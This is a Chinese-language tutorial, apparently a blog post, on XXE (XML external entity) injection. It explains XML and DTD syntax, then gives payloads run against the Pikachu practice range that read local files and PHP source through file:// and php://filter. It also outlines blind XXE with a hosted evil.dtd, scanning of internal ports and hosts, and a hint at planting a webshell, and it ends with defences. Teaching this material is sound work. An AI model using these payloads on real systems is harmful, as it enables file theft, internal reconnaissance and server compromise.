【web安全】——XXE漏洞

1.XML基础

1.1.XML简介

XML被称为可扩展标记语言,与HTML类似,但是HTML中的标签都是预定义(预先定义好每个标签的作用)的,而XML语言中的标签都是自定义(可以自己定义标签的名称、属性、值、作用)的;HTML中的标签可以是单标签,而XML中的标签必须是成对出现。

1.2XML语言的作用

HTML语言主要用来展示内容,而XML语言用来传输数据

1.3XML基本语法

1.3.1XML的语法规则

XML语言严格区分大小写,而HTML语言不区分大小写;XML语言只能有一个根标签;HTML语言中的属性值可以不用引号引起来,但是XM工语言中的属性值必须用引号引起来;XML中的标签必须成对出现;

XML会对特殊字符进行实体转义,需要转义的字符如下:标签之间不能交叉编写。

1.3.2.XML文档结构

XML文档由xml声明、DTD文档类型、文档元素三部分组成。

1.3.2.1DTD文档类型

DTD文档中的关键字

DOCTYPE(DTD的声明)

ENTITY(实体的声明)

ELEMENT(定义元素)

SYSTEM、PUBLIC(外部资源申请)

1.3.2.2DTD声明类型

内部声明:<!DOCTYPE 根元素[元素声明]>

外部声明:<!DOCTYPE 根元素 SYSTEM"外部文件名">

实体声明:

参数实体用"% 实体名称"声明,引用时也用"% 实体名称";其余实体直接用实体名称声明,引用时用"&实体名称;"。参数实体只能在DTD中声明,DTD中引用;其余实体只能在DTD中声明,可以在XML文档中引用。所谓的实体就是预先定义好的数据或者数据的集合。

内部实体:<!ENTITY 实体名称"实体的值">

外部实体:<!ENTITY 实体名称 SYSTEM"URL">

参数实体:<!ENTITY %实体名称"实体的值">或者<!ENTITY 号实体名称 SYSTEM"URL">

2.XXE漏洞基础

2.1漏洞原理

概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"

也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

2.2各种语言的伪协议

在引入外部实体攻击时候,我们可以使用各种语言的伪协议

|---------------|---------------------------------------------------------------|----------------------------------------------|---------------------|
| libxml2 | PHP | java | .net |
| file,http,ftp | file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar | http,https,ftp,file,jar,netdoc,mailto,gopher | file,http,https,ftP |

file:用来加载本地文件

http:用来加载远程文件

ftp:用来访问ftp服务器上的文件

php:用来读取php源码,php://filter

2.3漏洞危害

  • 探测内网端口
  • 攻击内网网站
  • 任意读取本地文件/远程读取文件
  • 读取php源码

3.XXE漏洞利用

3.1有回显利用

3.1.1读取本地文件

以pikachu靶场为例

先尝试一下网站接口能否正常解析XML文档

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY[<!ENTITY name "my name is qingkuang">]>

<root>&name;</root>

测试结果如下所示,输出实体的值则表明该页面是可以解析XML文档的。

尝试利用伪协议读取本地的配置文件内容

<?xml version = "1.0"?>

<!DOCTYPE name

[ <!ENTITY hacker SYSTEM "file:///c://windows//win.ini">

]>

<name>&hacker;</name>

3.1.2读取远程文件

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE ANY[

<!ENTITY xxe sysTEM "http://IP地址/文件"> ]>

<x>&xxe;</x>

3.2POST型有回显漏洞利用

在XXE靶场中随意输入用户名密码等信息然后抓包

发现⽤户密码处格式类似于xml⽂档格式,因此可在此处测试能否解析XML⽂档。

测试是否能解析XML文档

能够解析,构造恶意的payload并执行

本地文件读取成功。

远程文件读取同上诉步骤一样,将文件地址改为ip地址

3.2.1读取本地文件php源码

<!DOCTYPE test

<!ENTITY xxe SYSTEM

php://filter/read=convert.base64-encode/resource=f:/udf.php"><user><username>&xxe,</username><password>11</password></user>

在源码中写入经过编码的一句话木马即可

3.3无回显漏洞利用

当利用上诉办法中的payload发现无回显时候,这个时候就要用的无回显漏洞利用

  1. 配置kali 在kali端开启Apache服务
  2. 配置kali中的evil.dtd文档
  3. 编写payload
  4. 查看结果

3.4探测内网端口

3.4.1探测指定端口

构造payload,同构造读取远程文件相同。

添加要探测的端口号,观察回显时间,若时间短,则是开启状态

3.4.2自动化探测

抓包后,将变量全部清除,设置端口号的位置为变量,引入端口号字典爆破,与弱口令爆破类似

3.5探测内网存活主机

将上诉中的变量改为IP地址最后一段,范围为1-254,根据响应时间可判断出,哪些可以ping通

4.防御

4.1禁用外部实体

PHP:libxml disable entity loader(true);

java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

python :

rom lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve entities=False))

4.2过滤

预定义字符转义:<

&lt;>

&gt;&

& amp ;

'

&quot;

过滤用户提交的XML数据,关键词:SYSTEM和PUBLIC

禁用外部实体:libxml disable entity loader(true);

相关推荐
深圳讯鹏科技22 分钟前
新能源工厂如何借助防静电手环监控系统保障生产安全
安全·防静电监控系统·esd防静电监控系统·防静电监控看板
GIS数据转换器24 分钟前
城市生命线安全保障:技术应用与策略创新
大数据·人工智能·安全·3d·智慧城市
hao_wujing3 小时前
网络安全大模型和人工智能场景及应用理解
安全·web安全
幽兰的天空9 小时前
介绍 HTTP 请求如何实现跨域
网络·网络协议·http
lisenustc9 小时前
HTTP post请求工具类
网络·网络协议·http
心平气和️9 小时前
HTTP 配置与应用(不同网段)
网络·网络协议·计算机网络·http
心平气和️9 小时前
HTTP 配置与应用(局域网)
网络·计算机网络·http·智能路由器
Mbblovey10 小时前
Picsart美易照片编辑器和视频编辑器
网络·windows·软件构建·需求分析·软件需求
北顾南栀倾寒11 小时前
[Qt]系统相关-网络编程-TCP、UDP、HTTP协议
开发语言·网络·c++·qt·tcp/ip·http·udp
GZ_TOGOGO11 小时前
PIM原理与配置
网络·华为·智能路由器